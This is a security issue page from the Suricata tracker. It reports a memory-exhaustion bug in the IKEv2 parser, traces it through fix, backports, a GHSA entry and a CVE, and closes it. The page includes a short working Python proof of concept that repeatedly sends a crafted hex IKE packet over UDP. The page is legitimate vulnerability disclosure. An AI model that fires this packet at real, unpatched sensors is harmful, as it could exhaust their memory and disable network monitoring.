Project

General

Profile

Actions

Security #8415

closed
PA PA

ikev2: OOM due to unbounded client_transforms

Security #8415: ikev2: OOM due to unbounded client_transforms

Added by Philippe Antoine 4 months ago. Updated 20 days ago.

Status:
Closed
Priority:
Normal
Target version:
Affected Versions:
Label:
Git IDs:
Severity:
CRITICAL
Disclosure Date:

Description

The line state.ikev2_container.client_transforms.push(transforms); in ikev2.rs just keeps increasing without bounds

POC is simply just sending the same UDP packet over and over again even if there is no server

import socket
import binascii
import time

server_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
server_socket.bind(('', 3268))

ike = binascii.unhexlify("61d3693ce12af52800000000000000002820220800000000000000f02200001c312fd2e1cea72d0f7f3d1ccac96bb0c4c8d70f39dba193e42100008800020000b0c808b9480d4d4ae92c0e8f115d9338d4d0bb8361cfd19562ee5e2444b7f67137e472b2aa9b4455bafc4abadd89daa86e0583ffd2abb28933faa3fabf3ee84430c05afeb9652fc9befd377dd9d10001cd656eb617ba3ba39d0346f91a063bba6d186a3f20188ca0e8e4b79e3e912f13d309a8d655501592f742e408fda88ddc000000300000002c010100040300000c0100000c800e01000300000802000005030000080300000c0000000804000002")

for i in range(1024):
    a = server_socket.sendto(ike, ("127.0.0.1", 500))
    time.sleep(0.1)

sock.close()

CRITICAL like https://redmine.openinfosecfoundation.org/issues/8182 : OOM from UDP protocol


Subtasks 2 (0 open2 closed)

Security #8416: ikev2: OOM due to unbounded client_transforms (8.0.x backport)ClosedPhilippe AntoineActions
Security #8417: ikev2: OOM due to unbounded client_transforms (7.0.x backport)ClosedPhilippe AntoineActions

OT Updated by OISF Ticketbot 4 months ago Actions #1

  • Subtask #8416 added

OT Updated by OISF Ticketbot 4 months ago Actions #2

  • Label deleted (Needs backport to 8.0)

OT Updated by OISF Ticketbot 4 months ago Actions #3

  • Subtask #8417 added

OT Updated by OISF Ticketbot 4 months ago Actions #4

  • Label deleted (Needs backport to 7.0)

PA Updated by Philippe Antoine 4 months ago Actions #5

  • Private changed from No to Yes

PA Updated by Philippe Antoine 3 months ago Actions #6

  • Assignee changed from OISF Dev to Philippe Antoine

Oh client_transforms is unused, its sole purpose is to consume RAM

PA Updated by Philippe Antoine 3 months ago Actions #7

  • Status changed from New to In Review

Gitlab MR

JI Updated by Jason Ish 2 months ago Actions #8

  • GHSA set to GHSA-hg2g-r464-5593

PA Updated by Philippe Antoine 2 months ago Actions #9

  • Status changed from In Review to Resolved

SB Updated by Shivani Bhardwaj 2 months ago Actions #10

  • Subject changed from ikev2: bound the number of client_transforms to ikev2: OOM due to unbounded client_transforms

JI Updated by Jason Ish 2 months ago Actions #11

  • CVE set to 2026-45769

PA Updated by Philippe Antoine about 2 months ago Actions #12

  • Status changed from Resolved to Closed

JI Updated by Jason Ish 20 days ago Actions #13

  • Private changed from Yes to No
Actions

Also available in: PDF Atom